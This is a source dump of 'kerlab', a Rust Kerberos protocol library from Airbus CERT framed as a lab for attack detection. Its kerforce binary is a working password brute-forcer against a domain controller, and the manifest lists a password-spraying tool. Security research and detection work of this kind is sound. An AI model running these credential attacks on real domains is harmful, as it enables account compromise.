├── .gitignore ├── derive ├── Cargo.toml └── src │ └── lib.rs ├── src ├── rnd.rs ├── lib.rs ├── message.rs ├── krbap.rs ├── ndr.rs ├── ntlm.rs ├── checksum.rs ├── krberror.rs ├── authenticator.rs ├── error.rs ├── request.rs ├── bin │ ├── kerforce.rs │ ├── kerspray.rs │ ├── kerticket.rs │ ├── kerasktgt.rs │ └── kerasktgs.rs ├── ticket.rs ├── krbkdcrep.rs ├── rc4hmac.rs ├── base.rs ├── encryption.rs ├── padata.rs ├── krbcred.rs ├── pac.rs ├── krbkdcreq.rs ├── asn1.rs └── display.rs ├── LICENSE ├── Cargo.toml └── README.md /.gitignore: -------------------------------------------------------------------------------- 1 | # Generated by Cargo 2 | # will have compiled files and executables 3 | /target/ 4 | 5 | # Remove Cargo.lock from gitignore if creating an executable, leave it for libraries 6 | # More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html 7 | Cargo.lock 8 | 9 | # These are backup files generated by rustfmt 10 | **/*.rs.bk 11 | /derive/target/ 12 | .idea 13 | -------------------------------------------------------------------------------- /derive/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "kerlab-derive" 3 | version = "0.1.0" 4 | authors = ["Airbus CERT "] 5 | description = "Use to manage ASN 1 Sequence Generation" 6 | readme = "README.md" 7 | keywords = ["kerberos", "security", "network", "windows"] 8 | categories = ["network"] 9 | license = "MIT" 10 | 11 | [dependencies] 12 | proc-macro2 = "1.0.8" 13 | syn = "1.0.14" 14 | quote = "1.0.2" 15 | 16 | [lib] 17 | name = "kerlab_derive" 18 | proc-macro = true -------------------------------------------------------------------------------- /src/rnd.rs: -------------------------------------------------------------------------------- 1 | use rand::Rng; 2 | 3 | /// Generate a vector sized size fill with random value 4 | /// 5 | /// # Example 6 | /// ``` 7 | /// use rdp::model::rnd::random; 8 | /// let vector = random(128); 9 | /// assert_eq!(vector.len(), 128); 10 | /// ``` 11 | pub fn random(size: usize) -> Vec { 12 | let mut rng = rand::thread_rng(); 13 | (0..size).map(|_| rng.gen()).collect() 14 | } 15 | 16 | pub fn nonce() -> u32 { 17 | let mut rng = rand::thread_rng(); 18 | rng.gen_range(1, 0x7fffffff) 19 | } -------------------------------------------------------------------------------- /src/lib.rs: -------------------------------------------------------------------------------- 1 | #![feature(const_generics)] 2 | 3 | extern crate yasna; 4 | extern crate indexmap; 5 | extern crate ascii; 6 | #[macro_use] 7 | extern crate kerlab_derive; 8 | extern crate bit_vec; 9 | extern crate chrono; 10 | extern crate md4; 11 | extern crate byteorder; 12 | extern crate md5; 13 | extern crate rand; 14 | extern crate hmac; 15 | extern crate base64; 16 | 17 | #[macro_use] 18 | pub mod asn1; 19 | pub mod error; 20 | pub mod base; 21 | pub mod krbkdcreq; 22 | pub mod krbkdcrep; 23 | pub mod krberror; 24 | pub mod ticket; 25 | pub mod ntlm; 26 | pub mod request; 27 | pub mod padata; 28 | pub mod rc4hmac; 29 | pub mod rnd; 30 | pub mod display; 31 | pub mod encryption; 32 | pub mod krbcred; 33 | pub mod krbap; 34 | pub mod authenticator; 35 | pub mod checksum; 36 | pub mod pac; 37 | pub mod message; 38 | pub mod ndr; 39 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2021 Sylvain Peyrefitte 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /src/message.rs: -------------------------------------------------------------------------------- 1 | use std::io::{Write, Read}; 2 | use error::KerlabResult; 3 | use byteorder::{WriteBytesExt, LittleEndian, ReadBytesExt}; 4 | 5 | pub trait Message { 6 | fn write(&self, writer: &mut dyn Write) -> KerlabResult<()>; 7 | fn read(&mut self, reader: &mut dyn Read) -> KerlabResult<()>; 8 | } 9 | 10 | pub type U16LE = u16; 11 | 12 | impl Message for U16LE { 13 | fn write(&self, writer: &mut dyn Write) -> KerlabResult<()> { 14 | Ok(writer.write_u16::(*self)?) 15 | } 16 | 17 | fn read(&mut self, reader: &mut dyn Read) -> KerlabResult<()> { 18 | *self = reader.read_u16::()?; 19 | Ok(()) 20 | } 21 | } 22 | 23 | impl Message for u8 { 24 | fn write(&self, writer: &mut dyn Write) -> KerlabResult<()> { 25 | Ok(writer.write_u8(*self)?) 26 | } 27 | 28 | fn read(&mut self, reader: &mut dyn Read) -> KerlabResult<()> { 29 | *self = reader.read_u8()?; 30 | Ok(()) 31 | } 32 | } 33 | 34 | pub type U32LE = u32; 35 | 36 | impl Message for U32LE { 37 | fn write(&self, writer: &mut dyn Write) -> KerlabResult<()> { 38 | Ok(writer.write_u32::(*self)?) 39 | } 40 | 41 | fn read(&mut self, reader: &mut dyn Read) -> KerlabResult<()> { 42 | *self = reader.read_u32::()?; 43 | Ok(()) 44 | } 45 | } 46 | -------------------------------------------------------------------------------- /src/krbap.rs: -------------------------------------------------------------------------------- 1 | use asn1::{ASN1, Integer, Tag, BitString, Application}; 2 | use yasna::{DERWriter, BERReader}; 3 | use ticket::Ticket; 4 | use encryption::EncryptedData; 5 | use error::KerlabResult; 6 | use base::MessageType; 7 | 8 | pub type APOptions = BitString; 9 | 10 | 11 | /// @see https://www.freesoft.org/CIE/RFC/1510/58.htm 12 | /// ```asn.1 13 | /// AP-REQ ::= [APPLICATION 14] SEQUENCE { 14 | /// pvno[0] INTEGER, 15 | /// msg-type[1] INTEGER, 16 | /// ap-options[2] APOptions, 17 | /// ticket[3] Ticket, 18 | /// authenticator[4] EncryptedData 19 | /// } 20 | /// ``` 21 | #[derive(Sequence, Default, Clone, PartialEq)] 22 | pub struct ApReqBody { 23 | pub pvno: Tag<0, Integer>, 24 | pub msg_type: Tag<1, Integer>, 25 | pub ap_options: Tag<2, APOptions>, 26 | pub ticket: Tag<3, Ticket>, 27 | pub authenticator: Tag<4, EncryptedData> 28 | } 29 | 30 | pub type ApReq = Application<14, ApReqBody>; 31 | 32 | impl ApReq { 33 | /// constructor 34 | pub fn new(ticket: Ticket, authenticator: EncryptedData) -> Self { 35 | Self { 36 | inner: ApReqBody{ 37 | pvno: Tag::new(5), 38 | msg_type: Tag::new(MessageType::KrbApReq as Integer), 39 | ap_options: Tag::new(APOptions::new()), 40 | ticket: Tag::new(ticket), 41 | authenticator: Tag::new(authenticator) 42 | } 43 | } 44 | } 45 | } -------------------------------------------------------------------------------- /src/ndr.rs: -------------------------------------------------------------------------------- 1 | use message::{Message, U16LE, U32LE}; 2 | use std::io::{Write, Read}; 3 | use error::KerlabResult; 4 | use chrono::{DateTime, Utc, NaiveDateTime}; 5 | 6 | /// Very basic NDR parser 7 | /// Need to be improved 8 | #[derive(Component, Default)] 9 | pub struct CommonTypeHeader { 10 | version: u8, 11 | endianness: u8, 12 | common_header_length: U16LE, 13 | filler: U32LE 14 | } 15 | 16 | #[derive(Component, Default)] 17 | pub struct PrivateHeader { 18 | object_buffer_length: U32LE, 19 | filler: U32LE 20 | } 21 | 22 | #[derive(Component, Default)] 23 | pub struct FileTime { 24 | pub dw_low_date_time: U32LE, 25 | pub dw_high_date_time: U32LE 26 | } 27 | 28 | impl FileTime { 29 | pub fn datetime(&self) -> DateTime { 30 | if self.dw_high_date_time == 0x7FFFFFFF 31 | || self.dw_low_date_time == 0xFFFFFFFF 32 | || self.dw_high_date_time == 0 33 | || self.dw_low_date_time == 0 { 34 | return DateTime::from_utc(NaiveDateTime::from_timestamp(0, 0), Utc) 35 | } 36 | 37 | let mut timestamp: u64 = (self.dw_high_date_time as u64) << 32; 38 | timestamp |= self.dw_low_date_time as u64; 39 | let result = (timestamp - 116444736000000000) / 10000000; 40 | DateTime::from_utc(NaiveDateTime::from_timestamp(result as i64, 0), Utc) 41 | } 42 | } 43 | 44 | #[derive(Component, Default)] 45 | pub struct RpcUnicodeString { 46 | pub length: U16LE, 47 | pub maximum_length: U16LE, 48 | pub buffer: U32LE 49 | } -------------------------------------------------------------------------------- /src/ntlm.rs: -------------------------------------------------------------------------------- 1 | use md4::{Md4, Digest}; 2 | use std::io::Cursor; 3 | use byteorder::{WriteBytesExt, LittleEndian}; 4 | use error::KerlabResult; 5 | 6 | pub type NtlmHash = Vec; 7 | 8 | /// Compute the MD4 Hash of input vector 9 | /// 10 | /// This is a convenient method to respect 11 | /// the initial specification of protocol 12 | /// 13 | /// # Example 14 | /// ```rust, ignore 15 | /// let hash = md4(b"foo"); 16 | /// ``` 17 | fn md4(data: &[u8]) -> Vec { 18 | let mut hasher = Md4::new(); 19 | hasher.input(data); 20 | hasher.result().to_vec() 21 | } 22 | 23 | /// Encode a string into utf-16le 24 | /// 25 | /// This is a basic algorithm to encode 26 | /// an utf-8 string into utf-16le 27 | /// 28 | /// # Example 29 | /// ```rust, ignore 30 | /// let encoded_string = unicode("foo".to_string()); 31 | /// ``` 32 | fn unicode(data: &String) -> KerlabResult> { 33 | let mut result = Cursor::new(Vec::new()); 34 | for c in data.encode_utf16() { 35 | result.write_u16::(c)?; 36 | } 37 | Ok(result.into_inner()) 38 | } 39 | 40 | 41 | /// Compute the NTLM hash 42 | /// 43 | /// Compute NTLM hash of the user, use by the AS-REQ 44 | /// 45 | /// # Example 46 | /// ```rust 47 | /// use kekeo::ntlm::ntlm; 48 | /// let hash = ntlm(&String::from("foo")); 49 | /// assert_eq!(hash, [172, 142, 101, 127, 131, 223, 130, 190, 234, 93, 67, 189, 175, 120, 0, 204]) 50 | /// ``` 51 | pub fn ntlm(password: &str) -> KerlabResult { 52 | Ok(md4(unicode(&String::from(password))?.as_slice())) 53 | } -------------------------------------------------------------------------------- /Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "kerlab" 3 | version = "0.1.0" 4 | authors = ["Sylvain Peyrefitte "] 5 | description = "Kerberos Lab for Fun and Detection" 6 | repository = "https://github.com/citronneur/kerlab" 7 | readme = "README.md" 8 | keywords = ["kerberos", "security", "network", "windows"] 9 | categories = ["network"] 10 | license = "MIT" 11 | documentation = "https://docs.rs/kerlab" 12 | 13 | [lib] 14 | name = "kerlab" 15 | path = "src/lib.rs" 16 | 17 | [[bin]] 18 | name = "kerasktgt" 19 | path = "src/bin/kerasktgt.rs" 20 | required-features = ["kerasktgt"] 21 | 22 | [[bin]] 23 | name = "kerasktgs" 24 | path = "src/bin/kerasktgs.rs" 25 | required-features = ["kerasktgs"] 26 | 27 | [[bin]] 28 | name = "kerforce" 29 | path = "src/bin/kerforce.rs" 30 | required-features = ["kerforce"] 31 | 32 | [[bin]] 33 | name = "kerspray" 34 | path = "src/bin/kerspray.rs" 35 | required-features = ["kerspray"] 36 | 37 | [[bin]] 38 | name = "kerticket" 39 | path = "src/bin/kerticket.rs" 40 | required-features = ["kerticket"] 41 | 42 | [features] 43 | kerasktgt = ["clap", "hex"] 44 | kerasktgs = ["clap", "hex"] 45 | kerforce = ["clap"] 46 | kerspray = ["clap"] 47 | kerticket = ["clap", "hex"] 48 | 49 | [dependencies] 50 | yasna = { version = "^0.3", features = ["chrono", "bit-vec"] } 51 | indexmap = "^1.3" 52 | ascii = "1.0.0" 53 | kerlab-derive = { path = "derive" } 54 | bit-vec = "0.6.3" 55 | chrono = "0.4.19" 56 | md4 = "^0.8" 57 | byteorder = "^1.3" 58 | rand = "^0.7" 59 | md-5 = "^0.8" 60 | hmac = "^0.7" 61 | base64 = "0.13.0" 62 | 63 | clap = { version = "^2.33", optional = true} 64 | hex = { version = "^0.3", optional = true} -------------------------------------------------------------------------------- /src/checksum.rs: -------------------------------------------------------------------------------- 1 | use asn1::{ASN1, Tag, OctetString, SInteger}; 2 | use yasna::{DERWriter, BERReader}; 3 | use error::KerlabResult; 4 | use rc4hmac::hmac_md5; 5 | use md5::{Md5, Digest}; 6 | 7 | /// Compute the MD5 Hash of input vector 8 | /// 9 | /// This is a convenient method to respect 10 | /// the initial specification of protocol 11 | /// 12 | /// # Example 13 | /// ```rust, ignore 14 | /// let hash = md5((b"foo"); 15 | /// ``` 16 | fn md5(data: &[u8]) -> Vec { 17 | let mut hasher = Md5::new(); 18 | hasher.input(data); 19 | hasher.result().to_vec() 20 | } 21 | 22 | /// @see https://datatracker.ietf.org/doc/html/rfc4757 23 | pub fn kerberos_hmac_md5(key: &[u8], key_usage: i32, plaintext: &[u8]) -> Vec { 24 | let mut keyword = "signaturekey".to_string().into_bytes(); 25 | keyword.push(0); 26 | 27 | let ksign = hmac_md5(key, &keyword); 28 | let mut bs = key_usage.to_le_bytes().to_vec(); 29 | bs.append(&mut plaintext.to_vec()); 30 | let tmp = md5(&bs); 31 | 32 | return hmac_md5(&ksign, &tmp); 33 | } 34 | 35 | /// @see https://www.freesoft.org/CIE/RFC/1510/77.htm 36 | /// ```asn.1 37 | /// Checksum ::= SEQUENCE { 38 | /// cksumtype[0] INTEGER, 39 | /// checksum[1] OCTET STRING 40 | /// } 41 | /// ``` 42 | #[derive(Sequence, Default, Clone, PartialEq)] 43 | pub struct Checksum { 44 | cksumtype: Tag<0, SInteger>, 45 | checksum: Tag<1, OctetString> 46 | } 47 | 48 | impl Checksum { 49 | /// constructor 50 | pub fn new(cksumtype: SInteger, checksum: OctetString) -> Self { 51 | Self { 52 | cksumtype: Tag::new(cksumtype), 53 | checksum: Tag::new(checksum) 54 | } 55 | } 56 | } -------------------------------------------------------------------------------- /src/krberror.rs: -------------------------------------------------------------------------------- 1 | use asn1::{Integer, Tag, GeneralString, OctetString, Application, ASN1}; 2 | use yasna::{DERWriter, BERReader}; 3 | use base::{KerberosTime, Realm, PrincipalName}; 4 | use error::{KerlabResult}; 5 | 6 | pub type KrbError = Application<30, KrbErrorBody>; 7 | 8 | /// @see https://www.freesoft.org/CIE/RFC/1510/68.htm 9 | /// ```asn.1 10 | /// KRB-ERROR ::= [APPLICATION 30] SEQUENCE { 11 | /// pvno[0] INTEGER, 12 | /// msg-type[1] INTEGER, 13 | /// ctime[2] KerberosTime OPTIONAL, 14 | /// cusec[3] INTEGER OPTIONAL, 15 | /// stime[4] KerberosTime, 16 | /// susec[5] INTEGER, 17 | /// error-code[6] INTEGER, 18 | /// crealm[7] Realm OPTIONAL, 19 | /// cname[8] PrincipalName OPTIONAL, 20 | /// realm[9] Realm, -- Correct realm 21 | /// sname[10] PrincipalName, -- Correct name 22 | /// e-text[11] GeneralString OPTIONAL, 23 | /// e-data[12] OCTET STRING OPTIONAL 24 | /// } 25 | /// ``` 26 | #[derive(Sequence, Default, PartialEq, Clone)] 27 | pub struct KrbErrorBody { 28 | pub pvno: Tag<0, Integer>, 29 | pub msg_type: Tag<1, Integer>, 30 | pub ctime: Option>, 31 | pub cusec: Option>, 32 | pub stime: Tag<4, KerberosTime>, 33 | pub susec: Tag<5, Integer>, 34 | pub error_code: Tag<6, Integer>, 35 | pub crealm: Option>, 36 | pub cname: Option>, 37 | pub realm: Tag<9, Realm>, 38 | pub sname: Tag<10, PrincipalName>, 39 | pub e_text: Option>, 40 | pub e_data: Option> 41 | } -------------------------------------------------------------------------------- /src/authenticator.rs: -------------------------------------------------------------------------------- 1 | use asn1::{ASN1, Integer, Tag, Application}; 2 | use yasna::{DERWriter, BERReader}; 3 | use base::{Realm, PrincipalName, KerberosTime, AuthorizationData}; 4 | use checksum::Checksum; 5 | use encryption::EncryptionKey; 6 | use error::KerlabResult; 7 | use chrono::Utc; 8 | 9 | /// Authenticator use to prove that we can decrypt TGT 10 | /// 11 | /// @see https://www.freesoft.org/CIE/RFC/1510/53.htm 12 | /// 13 | /// ```asn.1 14 | /// -- Unencrypted authenticator 15 | /// Authenticator ::= [APPLICATION 2] SEQUENCE { 16 | /// authenticator-vno[0] INTEGER, 17 | /// crealm[1] Realm, 18 | /// cname[2] PrincipalName, 19 | /// cksum[3] Checksum OPTIONAL, 20 | /// cusec[4] INTEGER, 21 | /// ctime[5] KerberosTime, 22 | /// subkey[6] EncryptionKey OPTIONAL, 23 | /// seq-number[7] INTEGER OPTIONAL, 24 | /// authorization-data[8] AuthorizationData OPTIONAL 25 | /// } 26 | /// ``` 27 | #[derive(Sequence, Default, Clone, PartialEq)] 28 | pub struct AuthenticatorBody { 29 | pub authenticator_vno: Tag<0, Integer>, 30 | pub crealm: Tag<1, Realm>, 31 | pub cname: Tag<2, PrincipalName>, 32 | pub cksum: Option>, 33 | pub cusec: Tag<4, Integer>, 34 | pub ctime: Tag<5, KerberosTime>, 35 | pub subkey: Option>, 36 | pub seq_number: Option>, 37 | pub authorization_data: Option> 38 | } 39 | 40 | pub type Authenticator = Application<2, AuthenticatorBody>; 41 | 42 | impl Authenticator { 43 | /// Convenient constructor 44 | pub fn new(crealm: Realm, cname: PrincipalName) -> Self { 45 | Self { 46 | inner: AuthenticatorBody { 47 | authenticator_vno: Tag::new(5), 48 | crealm: Tag::new(crealm), 49 | cname: Tag::new(cname), 50 | cksum: None, 51 | cusec: Tag::new(0), 52 | ctime: Tag::new(KerberosTime::new(Utc::now())), 53 | subkey: None, 54 | seq_number: None, 55 | authorization_data: None 56 | } 57 | } 58 | } 59 | } -------------------------------------------------------------------------------- /src/error.rs: -------------------------------------------------------------------------------- 1 | use yasna::{ASN1Error, ASN1ErrorKind}; 2 | use std; 3 | use ascii::AsAsciiStrError; 4 | use chrono::ParseError; 5 | 6 | #[derive(Debug, Copy, Clone, Eq, PartialEq)] 7 | pub enum KerlabErrorKind { 8 | Unknown, 9 | Kerberos, 10 | Crypto, 11 | Parsing, 12 | InvalidConst 13 | } 14 | 15 | #[derive(Debug)] 16 | pub struct KerlabError { 17 | /// Kind of error 18 | kind: KerlabErrorKind, 19 | /// Associated message of the context 20 | message: String 21 | } 22 | 23 | impl KerlabError { 24 | /// create a new Kekeo error 25 | /// # Example 26 | /// ``` 27 | /// use error::{KerlabError, KerlabErrorKind}; 28 | /// let error = KerlabError::new(KerlabErrorKind::Unknown, "Unknown"); 29 | /// ``` 30 | pub fn new (kind: KerlabErrorKind, message: &str) -> Self { 31 | KerlabError { 32 | kind, 33 | message: String::from(message) 34 | } 35 | } 36 | 37 | /// Return the kind of error 38 | /// 39 | /// # Example 40 | /// ``` 41 | /// use error::{KerlabError, KerlabErrorKind}; 42 | /// let error = KerlabError::new(KerlabErrorKind::Disconnect, "disconnected"); 43 | /// assert_eq!(error.kind(), KekeoErrorKind::Disconnect) 44 | /// ``` 45 | pub fn kind(&self) -> KerlabErrorKind { 46 | self.kind 47 | } 48 | } 49 | 50 | #[derive(Debug)] 51 | pub enum Error { 52 | /// kerlab error 53 | KerlabError(KerlabError), 54 | /// ASN1 parser error 55 | ASN1Error(ASN1Error), 56 | Io(std::io::Error), 57 | AsAsciiStrError(AsAsciiStrError), 58 | ChronoParseError(ParseError) 59 | } 60 | 61 | impl Error { 62 | pub fn new(kind: KerlabErrorKind, message: &str) -> Self { 63 | Error::KerlabError(KerlabError::new(kind, message)) 64 | } 65 | } 66 | 67 | impl From for Error { 68 | fn from(e: ASN1Error) -> Error { 69 | Error::ASN1Error(e) 70 | } 71 | } 72 | 73 | impl From for Error { 74 | fn from(e: std::io::Error) -> Self { 75 | Error::Io(e) 76 | } 77 | } 78 | 79 | impl From for Error { 80 | fn from(e: AsAsciiStrError) -> Self { 81 | Error::AsAsciiStrError(e) 82 | } 83 | } 84 | 85 | impl From for Error { 86 | fn from(e: ParseError) -> Self { 87 | Error::ChronoParseError(e) 88 | } 89 | } 90 | impl From for ASN1Error { 91 | fn from(e: Error) -> Self { 92 | match e { 93 | Error::ASN1Error(e) => e, 94 | _ => ASN1Error::new(ASN1ErrorKind::Extra) 95 | } 96 | } 97 | } 98 | 99 | pub type KerlabResult = Result; 100 | -------------------------------------------------------------------------------- /src/request.rs: -------------------------------------------------------------------------------- 1 | use error::{KerlabResult}; 2 | use asn1::{to_der, from_ber, ASN1}; 3 | use std::net::{TcpStream, UdpSocket, ToSocketAddrs}; 4 | use std::io::{Write, Read, Cursor}; 5 | use byteorder::{ReadBytesExt, BigEndian, WriteBytesExt}; 6 | use krberror::{KrbError}; 7 | 8 | pub enum KrbResponse { 9 | Error(KrbError), 10 | Response(T) 11 | } 12 | 13 | pub struct TcpRequest; 14 | 15 | impl TcpRequest{ 16 | /// Kerberos is available over TCP in most of time 17 | pub fn ask_for(request: &dyn ASN1, to: S) -> KerlabResult> { 18 | 19 | let mut stream = TcpStream::connect(to).unwrap(); 20 | let request_encoded = to_der(request); 21 | 22 | stream.write_u32::(request_encoded.len() as u32).unwrap(); 23 | stream.write(&request_encoded)?; 24 | 25 | let response_length = stream.read_u32::().unwrap(); 26 | let mut reponse_payload = vec![0; response_length as usize]; 27 | stream.read_exact(&mut reponse_payload).unwrap(); 28 | 29 | // Check error 30 | let mut error = KrbError::default(); 31 | if let Ok(()) = from_ber(&mut error, &reponse_payload) { 32 | Ok(KrbResponse::Error(error)) 33 | } else { 34 | let mut response = T::default(); 35 | from_ber(&mut response, &reponse_payload)?; 36 | Ok(KrbResponse::Response(response)) 37 | } 38 | } 39 | } 40 | 41 | pub struct UdpRequest; 42 | impl UdpRequest{ 43 | /// But sometimes UDP is also available 44 | pub fn ask_for(request: &dyn ASN1, to: S) -> KerlabResult> { 45 | let request_encoded = to_der(request); 46 | let mut stream = Cursor::new(vec![]); 47 | stream.write_u32::(request_encoded.len() as u32).unwrap(); 48 | stream.write(&request_encoded)?; 49 | 50 | let udp_socket = UdpSocket::bind("0.0.0.0:0").unwrap(); 51 | udp_socket.connect(to)?; 52 | let send_size = udp_socket.send(&stream.into_inner()).unwrap(); 53 | println!("send size {}",send_size); 54 | 55 | let mut ret = vec![0; 4096]; 56 | 57 | // actually doesn't work 58 | let size = udp_socket.recv(&mut ret).unwrap(); 59 | ret.resize(size, 0); 60 | stream = Cursor::new(ret); 61 | 62 | let response_length = stream.read_u32::().unwrap(); 63 | let mut reponse_payload = vec![0; response_length as usize]; 64 | stream.read_exact(&mut reponse_payload).unwrap(); 65 | 66 | // Check error 67 | let mut error = KrbError::default(); 68 | if let Ok(()) = from_ber(&mut error, &reponse_payload) { 69 | Ok(KrbResponse::Error(error)) 70 | } else { 71 | let mut response = T::default(); 72 | from_ber(&mut response, &reponse_payload)?; 73 | Ok(KrbResponse::Response(response)) 74 | } 75 | } 76 | } 77 | -------------------------------------------------------------------------------- /src/bin/kerforce.rs: -------------------------------------------------------------------------------- 1 | extern crate clap; 2 | extern crate kerlab; 3 | 4 | use clap::{App, Arg}; 5 | use std::fs::File; 6 | use std::io; 7 | use std::io::BufRead; 8 | use kerlab::krbkdcreq::{AsReq, KdcOptionsType}; 9 | use kerlab::request::{KrbResponse, TcpRequest}; 10 | use kerlab::krbkdcrep::AsRep; 11 | use kerlab::encryption::{EncryptionKey}; 12 | 13 | const APPLICATION_NAME: &str = "kerforce"; 14 | 15 | fn main() { 16 | let matches = App::new(APPLICATION_NAME) 17 | .version("0.1.0") 18 | .author("Sylvain Peyrefitte ") 19 | .about("Kerberos Lab for Fun and Detection") 20 | .arg(Arg::with_name("dc") 21 | .long("dc") 22 | .takes_value(true) 23 | .help("host IP of the Domain Controller")) 24 | .arg(Arg::with_name("port") 25 | .long("port") 26 | .takes_value(true) 27 | .default_value("88") 28 | .help("Domain Controller Kerberos port")) 29 | .arg(Arg::with_name("domain") 30 | .long("domain") 31 | .takes_value(true) 32 | .help("Windows Domain")) 33 | .arg(Arg::with_name("username") 34 | .long("username") 35 | .takes_value(true) 36 | .help("Username of TGT")) 37 | .arg(Arg::with_name("file") 38 | .long("file") 39 | .takes_value(true) 40 | .help("File that contain password file")) 41 | .arg(Arg::with_name("safe") 42 | .long("safe") 43 | .help("Stop when account it's first locked")) 44 | .get_matches(); 45 | 46 | let file = File::open(matches.value_of("file").unwrap()).unwrap(); 47 | let ip = matches.value_of("dc").expect("You need to provide a dc argument"); 48 | let port = matches.value_of("port").unwrap_or_default(); 49 | let username = matches.value_of("username").unwrap(); 50 | let domain = matches.value_of("domain").unwrap(); 51 | 52 | 53 | println!("Try brute force user {}\\{}", domain, username); 54 | let options = vec![ 55 | KdcOptionsType::Renewable, 56 | KdcOptionsType::RenewableOk 57 | ]; 58 | 59 | for line in io::BufReader::new(file).lines() { 60 | let password = line.unwrap(); 61 | let mut tgt_request = AsReq::new( 62 | domain, 63 | username, 64 | &options 65 | ).unwrap(); 66 | 67 | tgt_request = tgt_request.with_preauth( 68 | &EncryptionKey::new_rc4_hmac(password.as_str()).unwrap() 69 | ).unwrap(); 70 | 71 | let tgt_response = TcpRequest::ask_for::( 72 | &tgt_request, 73 | format!("{}:{}", ip, port) 74 | ).unwrap(); 75 | 76 | match tgt_response { 77 | KrbResponse::Error(e) => { 78 | println!("Failed {} {}", password, e.error_code.inner); 79 | if matches.is_present("safe") && e.error_code.inner == 18 { 80 | break; 81 | } 82 | } 83 | KrbResponse::Response(_) => { 84 | println!("Pwned !!! {}\\{} : {}", domain, username, password); 85 | break; 86 | } 87 | } 88 | } 89 | } -------------------------------------------------------------------------------- /src/ticket.rs: -------------------------------------------------------------------------------- 1 | use asn1::{Tag, Integer, ASN1, Application, OctetString}; 2 | use base::{Realm, PrincipalName, TicketFlags, KerberosTime, AuthorizationData, HostAddresses}; 3 | use encryption::{EncryptedData, EncryptionKey}; 4 | use yasna::{DERWriter, BERReader}; 5 | use error::{KerlabResult}; 6 | 7 | /// @see pub type Ticket = Application<1, TicketBody>; 8 | /// ```asn.1 9 | /// Ticket ::= [APPLICATION 1] SEQUENCE { 10 | /// tkt-vno [0] INTEGER (5), 11 | /// realm [1] Realm, 12 | /// sname [2] PrincipalName, 13 | /// enc-part [3] EncryptedData -- EncTicketPart 14 | /// } 15 | /// ``` 16 | #[derive(Sequence, PartialEq, Default, Clone)] 17 | pub struct TicketBody { 18 | pub tkt_vno: Tag<0, Integer>, 19 | pub realm: Tag<1, Realm>, 20 | pub sname: Tag<2, PrincipalName>, 21 | pub enc_part: Tag<3, EncryptedData> 22 | } 23 | 24 | pub type Ticket = Application<1, TicketBody>; 25 | 26 | /// See https://www.freesoft.org/CIE/RFC/1510/52.htm 27 | /// ```asn.1 28 | /// TransitedEncoding ::= SEQUENCE { 29 | /// tr-type[0] INTEGER, -- must be registered 30 | /// contents[1] OCTET STRING 31 | /// } 32 | /// ``` 33 | #[derive(Sequence, PartialEq, Default, Clone)] 34 | pub struct TransitedEncoding { 35 | pub tr_type: Tag<0, Integer>, 36 | pub contents: Tag<1, OctetString> 37 | } 38 | 39 | /// See https://www.freesoft.org/CIE/RFC/1510/52.htm 40 | /// ```asn1 41 | /// -- Encrypted part of ticket 42 | /// EncTicketPart ::= [APPLICATION 3] SEQUENCE { 43 | /// flags[0] TicketFlags, 44 | /// key[1] EncryptionKey, 45 | /// crealm[2] Realm, 46 | /// cname[3] PrincipalName, 47 | /// transited[4] TransitedEncoding, 48 | /// authtime[5] KerberosTime, 49 | /// starttime[6] KerberosTime OPTIONAL, 50 | /// endtime[7] KerberosTime, 51 | /// renew-till[8] KerberosTime OPTIONAL, 52 | /// caddr[9] HostAddresses OPTIONAL, 53 | /// authorization-data[10] AuthorizationData OPTIONAL 54 | /// } 55 | /// ``` 56 | #[derive(Sequence, PartialEq, Default, Clone)] 57 | pub struct EncTicketPartBody { 58 | pub flags: Tag<0, TicketFlags>, 59 | pub key: Tag<1, EncryptionKey>, 60 | pub crealm: Tag<2, Realm>, 61 | pub cname: Tag<3, PrincipalName>, 62 | pub transited: Tag<4, TransitedEncoding>, 63 | pub authtime: Tag<5, KerberosTime>, 64 | pub starttime: Option>, 65 | pub endtime: Tag<7, KerberosTime>, 66 | pub renew_till: Option>, 67 | pub caddr: Option>, 68 | pub authorization_data: Option> 69 | } 70 | 71 | pub type EncTicketPart = Application<3, EncTicketPartBody>; 72 | 73 | 74 | #[repr(u32)] 75 | pub enum AdDataType { 76 | AdIfRelevant =1, 77 | AdIntendedForServer =2, 78 | AdIntendedForApplicationClass =3, 79 | AdKdcIssued =4, 80 | AdAndOr =5, 81 | AdMandatoryTicketExtensions =6, 82 | AdInTicketExtensions =7, 83 | AdMandatoryForKdc =8, 84 | OsfDce =64, 85 | SESAME=65, 86 | AdOsfDcePkiCertid =66, 87 | AdWin2kPac =128, 88 | AdEtypeNegotiation =129 89 | } 90 | 91 | /// ```asn1 92 | /// AD-IF-RELEVANT ::= AuthorizationData 93 | /// ``` 94 | pub type AdIfRelevant = AuthorizationData; 95 | 96 | -------------------------------------------------------------------------------- /src/bin/kerspray.rs: -------------------------------------------------------------------------------- 1 | extern crate clap; 2 | extern crate kerlab; 3 | 4 | use clap::{App, Arg}; 5 | use std::fs::File; 6 | use std::io; 7 | use std::io::{BufRead, stdin}; 8 | use kerlab::krbkdcreq::{AsReq, KdcOptionsType}; 9 | use kerlab::request::{KrbResponse, TcpRequest}; 10 | use kerlab::krbkdcrep::AsRep; 